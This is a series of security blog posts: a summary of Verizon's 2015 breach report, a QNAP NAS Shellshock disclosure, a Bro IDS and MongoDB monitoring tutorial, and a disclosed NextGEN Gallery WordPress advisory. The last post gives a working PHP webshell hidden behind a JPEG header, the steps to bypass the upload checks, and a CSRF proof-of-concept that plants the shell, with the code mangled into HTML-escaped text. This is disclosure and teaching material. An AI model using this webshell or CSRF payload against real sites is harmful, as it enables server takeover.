Verizon Data Breach Report 2015

Verizon Data Breach Report 2015A high level summary of the main findings from the cyber security industry’s favourite data driven report. As usual, the report is an easy read packed with analysis and information that is appetising and relevant.

The key concerns centre on the age old favourite threat scenarios of patch management and phishing attacks.

An attempt to elevate mobile applications to significance within the report left the pages with two truths – Android is much worse than any other platform (now that’s hard to have guessed!), and the reality that the majority of all malicious apps have a very short life span (4 out of 5 not lasting beyond a week!).

The Internet of Things (IoT) leaves a small read too (housed in one of the appendixes) because when the proof of concepts and media hype is removed, little real world data breach data is available. The growth in these devices is increasing though – so keep watching this space as we see their use and prevalence within our digital world spiral up.

We include at the end of this article a summary of the main statistics if you’re after the headlines.

But back to patching and phishing – What’s the news?

Sticking Plasters or Stinking Patches?

The much anticipated annual Verizon Data Breach Report has been released with compelling warnings about the perils of leaving your systems unpatched. The same day also sees the most common vendors release a barrage of fixes for their applications and platforms.

If you run software from Microsoft, Adobe or Oracle then you have critical patches to be applied! In total that’s 22 for Adobe Flash Player, 11 update bundles from Microsoft addressing over 24 bugs and a sleuth of Java updates (15) all of which are exploitable remotely (See Brian Krebs for full details! –

Staggeringly, Verizon tells us that 10 separate CVEs account for almost 97% of the exploits observed in 2014. Before you relax and think all your patching problems are wound up in 10 simple patches, the remianing 3% delivers over 7 millions observed exploits against different vulnerabilities – oh yes, patching is STILL a major issue for many organisations!

99.9% of the exploited vulnerabilities were compromised over a year after they were published. A significant number of vulnerabilities being exploited are spread out over the last ten years, showing that for many attackers, older vulnerabilities are still relevant today!

Plenty of Phish are still in the sea

The finest hour for phishing is that first hour when 50% of all phishing emails are triggered. The median time-to-first-click based on a sample of 150,000 monitoring phishing tests showed this to be at 1 minute and 22 seconds. The realisation that our email and internet systems still give us one serious attack surface is highlighted with vivid effect.

Why is it called phishing?The stark reality of this report shows that phishing emails are a major factor in most organisations. Our email systems are by design set-up to allow a broad range of inbound communications to enter our business. As much as we try to control this the ability for malicious users to construct targeted, custom, believable messages based on our public profiles and digital footprints is not going to change.

As generic SPAM does get filtered the trojan horse deliveries will continue to be hidden in the legitimate traffic. Education still has a long way to go, but a more fundamental acceptance that any internet connected or email based network inherently holds a higher risk needs to be much better understood. We have to wake up to the fact that even the best and most informed users will have moments of weakness and if presented with a credible, believable email from a known source – may action the unwanted actions we are trying to stop.

Waking up to the risk

The approach needs to change so that we treat email and internet usage as an area of higher risk and protect the real assets of value within our businesses from these systems. Rather than see our internet connection itself as the place for defences, it needs to be constructed around our assets of high value within an internal secure enclave.
Nightingale floorThe Japanese did this with their Nightingale floor that was designed to shift and move and make sounds when people walked over them. Nails and clamps in the floor ensured the board squeeked giving out a sounds like the Nightingale bird (hence the name).Structure of Uguisu-bari

This gave the occupants of the building time to respond to approaching attackers even after they were inside their castle moats.
The speed at which organisations need to respond will only get shorter as the attackers know how our ability to respond is getting better. This is always an arms race and we need to be adapting and thinking of the bigger picture.

  • What is it that we are protecting and from whom?
  • What risks need to be better controlled?
  • How can we protect those assets from these risks?

Expecting phishing attacks to work means that we will then look for and hunt for the actions within our networks that demonstrate an attacker is in there and sniffing around.

If we can’t stop them getting in, let’s make sure we can detect and respond effectively when they do – and ensure anything of value is not there waiting for them.

Summary of Stats

If you’re simply after a summary of insightful stats to impress the folks in the office, your parents or mates down the pub with then here is the roundup of the best:

  • Threat Intelligence should focus on the well not the firehose – in other words quality is far better than quantity
  • For two years, more than two-thirds of incidents that comprise the Cyber-Espionage pattern have featured phishing
  • Nearly 50% of users open e-mails and click on phishing links within the first hour
  • 23% of recipients now opening phishing messages and 11% clicking on attachments
  • About half of the CVEs exploited in 2014 went from publish to pwn in less than a month
  • A CVE being added to metasploit or given a cool name was as good an indicator as any that a vulnerability would be having a big impact
  • An average of 0.03% of smartphones per week—out of tens of millions of mobile devices on the Verizon network — were infected with “higher-grade” malicious code
  • 4 out of 5 mobile malicious apps didn’t last beyond a week with 96% of malicious mobile malware aimed at Android
  • Malware is the big news of the day – 70-90% of malware samples are unique to an organisation
  • However, 70% of all malware is derived from around 20 key families



To contact Nettitude’s editor, please email

QNAP NAS – Remote Unauthenticated User To Admin Shell: Part 1


A number of security vulnerabilities have been identified in two applications hosted on the QNAP App Centre. When combined, it is possible for a remote unauthenticated user to gain interactive remote administrative access and take full control of the device.


As a security professional you are constantly sharpening your skills; investigating a new tool, taking a device apart (at both the software and hardware level), or writing a script to hunt for a particular class of vulnerability. After all, everyone wants a secure network. It is all part of the same constantly evolving game. You can imagine my surprise when I ran my latest Python script at home and got a hit. Surely this couldn’t be right. I had only finished the first iteration that morning and it certainly wasn’t yet ready for prime-time. After much head scratching, debugging, and finally the running of other scanners, I had my answer. My QNAP network attached storage (NAS) device; the system holding all my important data, family photos, holiday movies, and financial details was suffering from a National Vulnerability Database (NVD) rated 10.0 exploit.

Vulnerability 1 – Remote Code Execution in Logitech Media Server 7.7.2

The Logitech Media Server App is a streaming audio server for the Squeezebox range of digital audio receivers. The version hosted on the QNAP App centre comes bundled with an additional third party application, called Squeezebox Server on TurboStation (SSOTS). SSOTS aims to augment the host environment, in such a way as to allow the Logitech software to run. It has a web based administrative interface on port 9099. As illustrated in Figure 1 this suffers from Shellshock.

Figure 1 - Bash command via Shellshock

Figure 1 – Bash command via Shellshock

Shellshock is arguably the biggest security revelation of 2014. It can not only allow an attacker to gain remote code execution, but once identified, it is easy to exploit. When a Bash process creates a child Bash process, the parent’s function definitions are exported via environment variables. These begin with “()”, followed by the actual function definition. The child process identifies these environment variables, converts them back to functions, and executes them. Unfortunately, on vulnerable systems this process is flawed and it grants an attacker the opportunity to define what code is included in an exported function and thus what is executed. If the parent process is network facing this can result in remote code execution.

In this case, the root cause of the exploit is the version of Bash bundled with SSOTS (see Figure 2). Even though QNAP remediated Shellshock late last year, because this application maintains its own outdated version of Bash, the vulnerability remains unpatched.

Figure 2 - Bundled version of Bash

Figure 2 – Bundled version of Bash

Vulnerability 2 – Web Server Configuration for Logitech Media Server 7.7.2

SSOTS also deploys its own web server, thttpd. It can be configured to run within a chroot. A chroot changes the apparent root directory for a running process. This means that the available files and commands are restricted to those below this point.  It is as if the rest of the file system does not exist.  Although not without limitations, in this case if correctly implemented, it would have provided additional protection. Unfortunately (see Figure 3) it has not been implemented and an attacker has access to the entire file system.

Figure 3 - Chroot not Implemented

Figure 3 – Chroot not Implemented

Now for some good news

SSOTS runs under the ssods account, which has limited privileged access. This restricts what an attacker can do. For example, we cannot read the most sensitive system files (see Figure 4).

Figure 4 - Insufficient privileges to read

Figure 4 – Insufficient privileges to read /etc/shadow



Logitech Media Server (7.7.2) hosted on the QNAP App Center suffers from multiple serious security issues. The twenty-seven thousand QNAP customers who have downloaded it should uninstall it immediately. Further, the wider community of SSOTS/SSODS users should check their systems for these vulnerabilities. In part two we will continue the journey and see how to elevate privileges. Once again the answer resides in the QNAP App Centre.

The release of this information has followed the responsible disclosure model. All research has been forwarded to QNAP and the date of disclosure mutually agreed. CERT has been informed and is tracking this issue.


  • Logitech Media Center Shellshock vulnerability discovery on 08/02/2015
  • QNAP informed via website on 11/02/2015
  • SSOTS/SSODS author contacted 12/02/2015. No response to date
  • Reported to on 12/02/2015
  • Confirmed against latest firmware and ARM plus x86 devices on 16/02/2015
  • Local privilege elevation discovery on 22/02/2015
  • QNAP contacted via on 05/03/2015
  • Proof of concept completed on 06/03/2015
  • Contacted by QNAP Security. Research forwarded and disclosure date agreed on 07/03/2015
  • Vulnerability disclosed on 06/04/2015




To contact Nettitude editor, please email

Network Security Monitoring With Bro IDS, TCPDump And MongoDB

Bro IDS is a powerful open source network security monitoring framework which I have had the opportunity to experiment with on a network monitoring server. It can log metadata for well known protocols such as HTTP, DNS and SMTP, as well as extract files it sees being transferred in these protocols. It logs all its results to CSV files and provides a useful tool called ‘bro-cut’ to enable analysts to search through these results. Bro-cut is a great tool but I wanted to store my data in MongoDB to enable useful queries to be run regularly and also so a Graphical User Interface (GUI) could be built on top of it. I also wanted full packet capture to be stored so I could trace any suspicious files or events back to the network activity that created it.

Why MongoDB?

  •  At this stage, I’m not sure  what data I want going into the database, so creating database schemas at this point may prove to be wasted effort, as I may have to modify or delete them in the future.
  • I have a lot of different inputs for the database which I don’t want to write database schemas for.
  • If I add new inputs to the database, minimum effort should be required.
  • All data stored in one database reduces dependencies and complexity.
  • We can consolidate all the Bro data in one place rather than having different files for each day which we would have to append to each other to use with bro-cut.
  • It should be possible to add more database servers if the need should arise due to MongoDB’s scalability.

Packet Capture
Full packet capture is useful when investigating incidents within the network. TCPdump can sniff packets and write them to disk. Another useful option for TCPdump is the ability to rotate the log file when it reaches a certain size and specify a post capture script to run when this rotation occurs. The below command will rotate the log file when it reaches 256 MB and then call

tcpdump -i eth1 -s0 -nn -C 256 -w ‘/pcap/nettitude.pcap’ -z
/opt/nettitude/capture/  -Z root

The post capture script basically generates some metadata about the pcap file (path, start and end times, size, duration, number of packets) and then inserts them into MongoDB.

Metadata extraction
Bro logs metadata in CSV files by default but we can set it to log to files in JSON format by moving by:

$BRO_INSTALL/share/bro/policy/tuning/json-logs.bro to

As with the snort logs, we can set up a script to watch the bro log directory and insert any JSON files created into MongoDB. This is easy to do since MongoDB basically stores JSON documents, and can be achieved with various programming languages. My choice is python and I use the pymongo library to import the data:

import json
import pymongo
import sys</pre>
file = sys.argv[1]
colname = sys.argv[2]
client = pymongo.MongoClient(‘localhost’)
db = client[‘nettitude’]
collection = db[colname]
with open(file) as f:
for line in f.readlines():

Once the data is in the database we can perform queries in mongo shell to get useful information. For example, the below query will list the top 20 recognised services observed.

sam@broserver:~$ mongo nettitude
MongoDB shell version: 2.6.7
 {$match: {‘service’: { $ne: null }}},
 {$group: {‘_id’: ‘$service’,’sum’: { $sum: 1 }}},
 {$sort: {‘sum’: -1}},
 {$limit: 20}

File Extraction
By default, Bro will only extract executables but you can change this by editing the Bro file extraction script located at $BRO_INSTALL/share/bro/file-extraction/extract.bro (In the below file you can see that I have enabled PDF and EXE extraction)

Figure 1

Figure 1

From here on you can set up another script to analyse these files when they are created.

Tracing the file origin
Say, for example, you may have analysed a suspicious file which Bro has extracted to HTTP-FEUq8i13A67Tp9VYw3.exe, we can use mongo shell to retrieve all the metadata and packet capture that relates to this file since its protocol and unique file ID (highlighted in red) are saved in the file name.

sam@broserver:~$ mongo nettitude
MongoDB shell version: 2.6.7
connecting to: nettitude
> db.files.findOne({fuid: ‘FEUq8i13A67Tp9VYw3’})
"_id" : ObjectId("5506d64d9ba3842590777d8e"),
"rx_hosts" : [
"tx_hosts" : [
"fuid" : "FEUq8i13A67Tp9VYw3",
"total_bytes" : 4171576,
"is_orig" : false,
"duration" : 8.225032,
"source" : "HTTP",
"analyzers" : [
"ts" : ISODate("2015-03-16T12:24:14.094Z"),
"filename" : "filename.exe",
"extracted" : "/bro/extracted/HTTP-FEUq8i13A67Tp9VYw3.exe",
"mime_type" : "application/x-dosexec",
"conn_uids" : [
"timedout" : false,
"local_orig" : false,
"missing_bytes" : 0,
"seen_bytes" : 4171576,
"md5" : "824f7ba4e6a1f56e1c70b835af43c301",
"sha1" : "1c7ac412d3bb2bd3ecf24c6f86a80ed3d48732cf",
"depth" : 0,
"overflow_bytes" : 0
> db.http.findOne({uid: "CKyCfA4l20KKnMr7n1"})
"_id" : ObjectId("5506d6449ba3842558e446f3"),
"id_resp_h" : "",
"uid" : "CKyCfA4l20KKnMr7n1",
"status_code" : 200,
"orig_mime_types" : [
"id_resp_p" : 80,
"trans_depth" : 1,
"request_body_len" : 68,
"orig_fuids" : [
"ts" : ISODate("2015-03-16T12:24:13.736Z"),
"resp_mime_types" : [
"method" : "GET",
"id_orig_h" : "",
"tags" : [ ],
"resp_fuids" : [
"response_body_len" : 4171576,
"host" : "",
"id_orig_p" : 23056,
"status_msg" : "OK",
"uri" : "/filename.exe",
"user_agent" : "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36",
"referrer" : ""
> db.conn.findOne({uid: "CKyCfA4l20KKnMr7n1"})
"_id" : ObjectId("5506d6369ba3842512e05e55"),
"resp_bytes" : 4171839 CKyCfA4l20KKnMr7n1,
"uid" : "",
"resp_cc" : "US",
"tunnel_parents" : [ ],
"duration" : 8.786603,
"id_resp_h" : "",
"id_resp_p" : 80,
"sensorname" : "eth1",
"service" : "http",
"proto" : "tcp",
"resp_pkts" : 3058,
"orig_pkts" : 962,
"ts" : ISODate("2015-03-16T12:24:13.566Z"),
"resp_ip_bytes" : 4334191,
"orig_cc" : "GB",
"id_orig_h" : "",
"orig_ip_bytes" : 48307,
"local_orig" : true,
"missed_bytes" : 0,
"orig_bytes" : 723,
"id_orig_p" : 23056,
"conn_state" : "SF",
"history" : "ShADadfF"

With the details from the conn collection, we can ascertain the time frame for this connection which allows us to find the pcap file in which the session is stored. The connection started at 2015-03-16T12:24:13.566Z for a duration of 8.78 seconds. It is probably better to add a second or so either side of the date range.

> db.pcap.findOne({sensor: ‘eth1’, start_ts : {$lte :  ISODate("2015-03-16T12:24:12.000Z")},  end_ts : {$gte :  ISODate("2015-03-16T12:24:21.000Z")}})
"_id" : "/pcap/2015-03-16/20150316123157.eth1.pcap",
"end_ts" : ISODate("2015-03-16T12:31:57Z"),
"start_ts" : ISODate("2015-03-16T12:22:32Z"),
"num_packets" : "311998",
"file_size" : "256000821 bytes",
"duration" : "565 seconds",
"sensor" : "eth1",
"data_size" : "251008829 bytes"

Now we know the pcap file and source/desination IP addresses and ports, we can quickly create a tpcdump command to view the packets.

tcpdump –nn –r /pcap/2015-03-16/20150316123157.eth1.pcap ‘tcp and src host and src port 23056 and dst host and dst port 80’

This framework provides a good starting point for network security monitoring and allows us to create additional analysis tools on top of it, for example, automatic report generation, dashboard style GUIs or advanced querying.


To contact Nettitude’s editor, please contact


CSRF And Unsafe Arbitrary File Upload In NextGEN Gallery Plugin ( For WordPress

1      Introduction

Please note the vulnerability detailed in this blog article was first discovered on Monday 9th March 2015, disclosed and discussed with the company concerned on March 10th and a patch was released on March 12th.

1.1    Versions and CVE

  • Currently tested on NextGEN Gallery >= and WordPress 4.1.1
  • CVE-2015-1784 NextGEN Gallery WordPress: file upload bypass
  • CVE-2015-1785 NextGEN Gallery WordPress: CSRF

1.2    Abstract

The NextGEN Gallery plugin for WordPress is the sixth most popular plugin used to date, with over 12 Million users and 100+ extensions.

There are two vulnerabilities which can allow an attacker to gain full access over the web application. The vulnerabilities lie in how the application validates user uploaded files and lack of security measures preventing unwanted HTTP requests.

An average of 20% (2.4 million) of these installs will allow for lower level users (editors and subscribers etc.) to perform image uploads. Some of the extensions provided for the NextGEN Gallery allow for Public file uploading. Around 100,000 users have this extension according to the WordPress app store.

This means that 12 million are vulnerable to CSRF with a webshell, 2.4 million vulnerable to webshell through unsafe file upload and 100,000 vulnerable to unauthenticated unsafe file upload.

1.3    What is Arbitrary File Upload?

Files that can be uploaded to the server can represent a significant risk. The majority of attacks involve getting code onto the server to be attacked, after that the code only needs to be executed. File uploads help an attacker get code onto the server.

The consequences of an unsafe file upload can lead to complete system takeover, access to databases and defacement. It varies on how the server handles uploads, where the files are stored and what the application does.

1.4    What is Cross-Site Request Forgery (CSRF)?

Cross-Site Request Forgery is an attack that causes a user’s web browser to perform an unwanted action on a trusted site where a user is currently authenticated. CSRF attacks abuse state changes instead of theft of data or remote code execution as the attacker has no way to see the response of the request.

A CSRF Attack, for example, can force a user into changing their password, transferring funds and in the case of the vulnerabilities talked about in this article, compromise the entire application.

2      Bypassing the upload validation

NextGEN Gallery by default only allows administrators to upload images to the server, however you can allow lower level users such as editors or subscribers to upload images opening a larger attack vector. If a lower level user was given access to the upload function then this could be used in a privilege escalation type attack to gain web shell on the server. In the example below I will show an unsafe file upload leading to webshell via an editor level account.

Upload section

Figure 1 – Upload Section

In the above figure we can see that the file “simpleshell.jpg” has been loaded into the uploader. The file contains a very basic PHP shell. Renaming the extension from .php to .jpg allows us to bypass the first line of defense in the NextGEN plugin, which is by using client side file validation to ensure the file has a valid image extension such as JPG.

After the file has been loaded we need to intercept the request and edit a few parameters to bypass the server side validation of the file.

Figure 2 - Orginal Request

Figure 2 – Original Request

The server side validation checks for file extension, content-type and performs basic file analysis scanning for image headers. As seen in the figure above the request contains a very basic PHP web shell that is passed as an image.

In our edited request below you can see that to bypass the file extension validation “.php” has been appended to the end of the “simpleshell.jpg” file, thus turning this file back into a valid PHP file. The content-type was already stated as “image/jpeg” so that’s fine. Finally, to work around the file analysis a header from a valid JPEG file has been inserted above the PHP script to trick the application into thinking that this is a valid image file.

Figure 3 - Edited Request

Figure 3 – Edited Request

When the request is submitted we are passed an upload message stating that “1 image Upload complete”.

By default, the file path naming convention for NextGEN gallery is as follows: “/wp-content/gallery/[name of gallery]/[name of file]” This path is publically available and viewable as an unauthenticated user.

Figure 4 - Webshell gained

Figure 4 – Webshell gained


After browsing to the file and passing the “id” command to the “cmd” parameter the output is displayed on the page, confirming the PHP webshell is working. From this point it is possible to call system commands and invoke reverse shells etc.

3      Cross-site request forgery abusing unsafe file upload

Using the techniques previously stated to bypass the file upload validation it is possible to create a CSRF proof of concept (PoC). The NextGEN gallery does not implement a unique token or nonce to protect against CSRF in the file upload page allowing for unwanted HTTP requests to be made to the authenticated application by the user unknowingly via a malicious link or XSS.

The figure below illustrates the PoC file, we can see that the gallery ID that this webshell will be uploaded to is “youhascsrf” and that the file name will be “shell.jpg.php”. The techniques used to bypass the upload validation demonstrated previously were also used in this PoC.

<p>&lt;strong&gt;   &lt;/strong&gt;&lt;script&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;function&lt;/em&gt;&lt;/strong&gt; submitRequest&lt;strong&gt;()&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; xhr &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; XMLHttpRequest&lt;strong&gt;();&lt;/strong&gt;</p>
<p>;strong&gt;(&lt;/strong&gt;&quot;POST&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;;action=upload_image&amp;gallery_id=0&amp;gallery_name=youhascsrf&quot;&lt;strong&gt;,&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;true&lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Accept&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Accept-Language&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;en-US,en;q=0.5&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.setRequestHeader&lt;strong&gt;(&lt;/strong&gt;&quot;Content-Type&quot;&lt;strong&gt;,&lt;/strong&gt; &quot;multipart/form-data; boundary=—————————11451489371866854212008584&quot;&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.withCredentials &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;true&lt;/em&gt;&lt;/strong&gt;&lt;strong&gt;;&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; body &lt;strong&gt;=&lt;/strong&gt; &quot;—————————–11451489371866854212008584rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Disposition: form-data; name=&quot;name&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;shell.jpgrn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;—————————–11451489371866854212008584rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.jpg.php&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;Content-Type: image/jpegrn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;xffxd8xffxe0x00x10JFIFx00x01x02x00x00x01x00x01x00x00xffxfex00x04*x00xffxe2x02x1cICC_PROFILEx00x01x01x00x00x02x0clcmsx02x10x00x00mntrRGB XYZ x07xdcx00x01x00x19x00x03x00)x009acspAPPLx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00xf6xd6x00x01x00x00x00x00xd3-</p>
<p>lcmsx00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;descx00x00x00xfcx00x00x00^cprtx00x00x01x00x00x00x0bwtptx00x00x01hx00x00x00x14bkptx00x00x01|x00x00x00x14rXYZx00x00x01x90x00x00x00x14gXYZx00x00x01xa4x00x00x00x14bXYZx00x00x01xb8x00x00x00x14rTRCx00x00x01xccx00x00x00@gTRCx00x00x01xccx00x00x00@bTRCx00x00x01xccx00x00x00@descx00x00x00x00x00x00x00x03c2x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00textx00x00x00x00FBx00x00XYZ x00x00x00x00x00x00xf6xd6x00x01x00x00x00x00xd3-XYZ x00x00x00x00x00x00x03x16x00x00x033x00x00x02xa4XYZ x00x00x00x00x00x00oxa2x00x008xf5x00x00x03x90XYZ x00x00x00x00x00x00bx99x00x00xb7x85x00x00x18xdaXYZ x00x00x00x00x00x00$xa0x00x00x0fx84x00x00xb6xcfcurvx00x00x00x00x00x00x00x1ax00x00x00xcbx01xc9x03cx05x92x08kx0bxf6x10?x15Qx1b4!xf1)x902x18;x92Fx05Qw]xedkpzx05x89xb1x9a|xacixbf}xd3xc3xe90xffxffxffxdbx00Cx00x04x03x03x04x03x03x04x04x03x04x05x04x04x05x06rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;x3c?phprn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;if(isset($_REQUEST[‘cmd’])){rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   $cmd = ($_REQUEST[&quot;cmd&quot;]);rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   system($cmd);rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   echo &quot;x3c/prex3e$cmdx3cprex3e&quot;;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;   die;rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;}rn&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&quot;?x3ern&quot; &lt;strong&gt;+&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; aBody &lt;strong&gt;=&lt;/strong&gt; &lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; Uint8Array&lt;strong&gt;(&lt;/strong&gt;body.length&lt;strong&gt;);&lt;/strong&gt;</p>
<p>&lt;strong&gt;&lt;em&gt;for&lt;/em&gt;&lt;/strong&gt; &lt;strong&gt;(&lt;/strong&gt;&lt;strong&gt;&lt;em&gt;var&lt;/em&gt;&lt;/strong&gt; i &lt;strong&gt;=&lt;/strong&gt; 0&lt;strong&gt;;&lt;/strong&gt; i &lt;strong&gt;&lt;&lt;/strong&gt; aBody.length&lt;strong&gt;;&lt;/strong&gt; i&lt;strong&gt;++)&lt;/strong&gt;</p>
<p>aBody&lt;strong&gt;[&lt;/strong&gt;i&lt;strong&gt;]&lt;/strong&gt; &lt;strong&gt;=&lt;/strong&gt; body.charCodeAt&lt;strong&gt;(&lt;/strong&gt;i&lt;strong&gt;);&lt;/strong&gt;</p>
<p>xhr.send&lt;strong&gt;(&lt;/strong&gt;&lt;strong&gt;&lt;em&gt;new&lt;/em&gt;&lt;/strong&gt; Blob&lt;strong&gt;([&lt;/strong&gt;aBody&lt;strong&gt;]));&lt;/strong&gt;</p>
<p>&lt;strong&gt;   &lt;/strong&gt;&lt;form action=&lt;strong&gt;&quot;#&quot;&lt;/strong&gt;&gt;</p>
<p>&lt;strong&gt;     &lt;/strong&gt;&lt;input type=&lt;strong&gt;&quot;button&quot;&lt;/strong&gt; value=&lt;strong&gt;&quot;Submit request&quot;&lt;/strong&gt; onclick=&lt;strong&gt;&quot;submitRequest();&quot;&lt;/strong&gt; /&gt;</p>
<p>&lt;strong&gt;   &lt;/strong&gt;&lt;/form&gt;</p>

If this file was hosted externally and an administrator (or any other user with upload rights) clicked the link and submitted this request then the webshell would be uploaded to the file path “/wp-content/gallery/youhascsrf/shell.jpg.php” and then be publically available without the user’s knowledge. In the figure below, we can see that an admin is logged into a WordPress installation with the NextGEN Gallery plugin activated.

Figure 5 - Admin WordPress dash

Figure 5 – Admin WordPress dash


As we can see there are currently no galleries present on this application.

figure 6 - No galleries

Figure 6 – No Galleries


Figure 7 - CSRF PoC loaded in browser

Figure 7- CSRF PoC loaded in browser


As this is just a PoC, the attack will trigger when the “submit request” button is clicked, however, in a real world situation this request would be submitted asynchronously without the users’ knowledge. After clicking the “submit request” button we can now see that the gallery has been created and the webshell is present.

Figure 8 - Webshell now present

Figure 8 – Webshell now present

In the figure below the “Id” command is send to the webshell and we have system access.

Figure 9 - System commands executed

Figure 9 – System commands executed



To contact Nettitude’s editor, please email